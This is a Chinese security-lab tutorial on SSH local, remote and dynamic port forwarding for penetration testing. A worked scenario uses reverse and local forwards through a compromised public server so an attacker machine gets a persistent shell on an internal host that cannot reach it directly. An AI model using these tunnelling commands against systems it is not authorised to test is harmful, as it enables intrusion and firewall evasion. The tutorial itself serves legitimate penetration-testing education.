安全研究 >> 安全研究详情

安全实验室 | 内网渗透—利用SSH进行端口转发&隐蔽隧道

作者: 美创科技安全实验室发布日期: 01月01日

在渗透测试中我们经常会遇到一些内部测试的环境群、DMZ等机器群,这些目标都有着一些共有的特性,例如不出网、访问受限等,这给渗透测试带来了极大的困难。为了能够实现对这些机器的‘完全控制’,将整个目标网络打通,端口转发是必不可少的技术之一。


本期美创安全实验将为大家带来如何利用SSH服务实现端口转发并搭建隐蔽隧道。


1、SSH端口转发原理


SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据,因为SSH为其他的TCP链接提供了一个安全的通道来进行数据传输,避免出现了用户名、密码及隐私信息的明文泄露情况。而且SSH链接还可以突破防火墙的限制,完成一些之前无法正常建立的TCP连接。


2、SHH端口转发及搭建隧道实战


1、准备


SSH开启端口转发需要修改/etc/ssh/sshd_config配置文件,将GatewayPorts修改为yes。




SSH端口转发的参数说明:


-f 后台执行ssh指令

-C 允许压缩数据

-N 不执行远程指令

-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口

-L 本地端口转发

-D 动态端口转发


2、SSH进行本地端口转发


将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。


执行以下命令即可:

ssh-L [<localhost>:]<localport>:<remote host>:<remote port> <SSHhostname>


登陆前本地主机端口监听状态




执行本地端口转发命令




登陆后本地主机端口监听状态




3、SSH进行本地端口转发


SSH远程端口转发就是将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。


执行以下命令即可:

ssh -R [<localhost>:]<localport>:<remote host>:<remote port> <SSHhostname>


假设现在有这样一个内网环境,我们已经获取了公网服务器A的权限以及内网服务器B的权限,但是我没有办法让外网攻击机C直接连接到内网服务器B,所以为了获取到B的一个稳定持久的SHELL,就可以通过SSH远程端口转发做到。


公网服务器A的IP:192.168.210.38

内网服务器B的IP:192.168.210.111

外网攻击机C的IP:192.168.20.35




且内部服务器B可以与公网服务器A进行通信,而无法与攻击机C进行通信。




首先在内网服务器B上执行以下命令(反向代理):

Ssh -fCNR 192.168.210.38:8888:localhost:22 root@192.168.210.38

将B机器的22号端口流量都转发给A机器的8888端口


然后在公网服务器A上执行以下命令(正向代理):

Ssh -fCNL *:4321:localhost:8888 localhost

将A机器上监听的4321端口的流量都转发给本地的8888端口


在攻击机上,直接连接公网服务器A的4321端口即可。

Ssh -p 4321 root@192.168.210.38

服务热线:400-811-3777
Copyright ©2005-2020 杭州美创科技有限公司. All Rights Reserved. 浙ICP备12021012号-1 网站地图